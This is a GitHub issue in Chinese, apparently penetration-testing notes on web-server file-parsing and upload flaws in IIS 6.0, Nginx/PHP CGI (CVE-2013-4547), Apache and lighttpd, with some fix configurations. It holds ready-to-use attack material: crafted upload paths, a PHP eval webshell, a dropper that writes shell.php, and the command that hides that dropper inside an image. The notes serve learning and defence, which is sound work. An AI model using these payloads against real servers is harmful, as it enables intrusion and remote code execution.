Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

文件解析/文件包含/文件上传 #48

Open
AI0TSec opened this issue Aug 12, 2019 · 0 comments
Open

文件解析/文件包含/文件上传 #48

AI0TSec opened this issue Aug 12, 2019 · 0 comments

Comments

@AI0TSec
Copy link
Owner

AI0TSec commented Aug 12, 2019

IIS5.X/6.0

目录解析:/xxx.asp/xxx.jpg

网站下建立文件夹的名称中带有aspasacercdx等可执行脚本文件后缀的文件夹,IIS6.0会将xxx.jpg当做xxx.asp解析并执行

该目录内的任何扩展名的文件都将被IIS6.0当作可执行文件来解析并执行

后缀解析:/xx.asp;.jpg

在IIS6.0下,;后面的文件扩展名不被解析,则xxx.asp;.jpg将被当做xxx.asp解析并执行

默认解析:/xxx.asa/xxx.cer/xxx.cdx

IIS6.0默认的可执行文件包括:aspasacercdx,可结合目录解析/后缀解析:/xxx.asp/xxx.jpg/xxx.asa/xxx.jpg/xxx.cer/xxx.jpg/xxx.cdx/xxx.jpg/xxx.asp;.jpg/xxx.asa;.jpg/xxx.cer;.jpg/xxx.cdx;.jpg

aspasacercdx同使用一个asp.dll执行

Nginx

IIS 7.0/IIS 7.5/Nginx <8.03 PHP CGI解析漏洞

实际为PHP CGI的漏洞:Nginx作为代理将请求转发给Fast-CGI,PHP后端进行处理。当访问URL:example.com/shell.jpg/xxx.php$fastcgi_script_name会被设置为“shell.jpg/xxx.php”,然后构造成SCRIPT_FILENAME传递给Fast-CGI。当fix_pathinfo选项开启时,PHP会认为SCRIPT_FILENAMEshell.jpg,而xxx.phpPATH_INFO,故将shell.jpg作为PHP文件进行解析

image

PHP配置文件中存在cgi.fix_pathinfo=1默认是开启,当URL中有不存在的文件时,PHP就会向前递归解析

image

利用方法

方法一

www.example.com/UploadFiles/image/shell.jpg/xxx.php
www.example.com/UploadFiles/image/shell.jpg%00.php
www.example.com/UploadFiles/image/shell.jpg/%20\0.php

方法二

IIS 7.0/IIS 7.5/Nginx<8.03在默认Fast-CGI开启的情况下,上传xy.jpg,访问xy.jpg/.php,会在当前目录下生成一句话木马<?php eval($_POST[cmd])?>

将图片和写入后门代码的文本文件合并为将恶意文本写入图片的二进制代码

copy xx.jpg/b + yy.txt/a xy.jpg

后门代码的文本文件内容为:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

写入一句话木马<?php eval($_POST[cmd])?>,文件名为shell.php,密码为cmd

image

Nginx <8.03空字节代码执行漏洞

Ngnix版本 0.5.*,0.6.*,0.7<=0.7.65,0.8<=0.8.37 在处理%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码,通过在一个文件路径/xx.jpg后面加上%00.php会将/xx.jpg%00.php解析为php文件

修复方案:
1.禁止在上传文件目录下执行php,在nginx虚拟机配置或fcgi.conf配置加如下代码

if ($request_filename ~* (.*)\.php) {
    set $php_url $1;
}
if (!-e $php_url.php) {
    return 403;
}

2.升级到最新版本的nginx

Nginx 文件名逻辑漏洞(CVE-2013-4547

https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547

利用过程:

上传1.gif文件

image

抓包修改数据包,在文件名后添加空格,文件1.gif 成功上传

image

访问http://127.0.0.1:8080//uploadfiles/1.gif...php

image

修改第一个.改为20,对应ASCII码空格符,修改第二个.改为00,截止符,解析成功

image

Apache

多后缀解析:

test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3 则会被解析为php

image

配置问题:

  • 若Apache的conf中存在配置 AddHandler php5-script .php ,则文件名只要包含.php,即使文件名为test2.php.jpg也会以php来执行
  • 若Apache的conf中存在配置 AddType application/x-httpd-php .jpg ,即使扩展名是jpg,也会以 php来执行

修复方案
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>

2.伪静态,重写.php.*:打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so,去掉注释,重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

image

.htaccess(分布式配置文件)

.htaccess中写入:<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>,可使shell.jpg文件解析为php文件

.htaccess文件生效条件:
1.Apache配置文件中写入AllowOverride All
2.Apache配置文件中写入LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

异常后缀解析

语言 可解析后缀
php php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
asp/aspx asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
jsp jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

Apache配置文件中存在类似正则表达式:.+.ph(p[345]?|t|tml)

lighttpd

xx.jpg/xx.php

参考链接

https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/
https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#i-10
http://gv7.me/articles/2018/make-upload-vul-fuzz-dic/

@AI0TSec AI0TSec changed the title 文件上传/文件解析/文件包含 文件解析/文件包含/文件上传 Aug 19, 2019
@AI0TSec AI0TSec closed this as completed Dec 29, 2019
@AI0TSec AI0TSec reopened this Dec 29, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant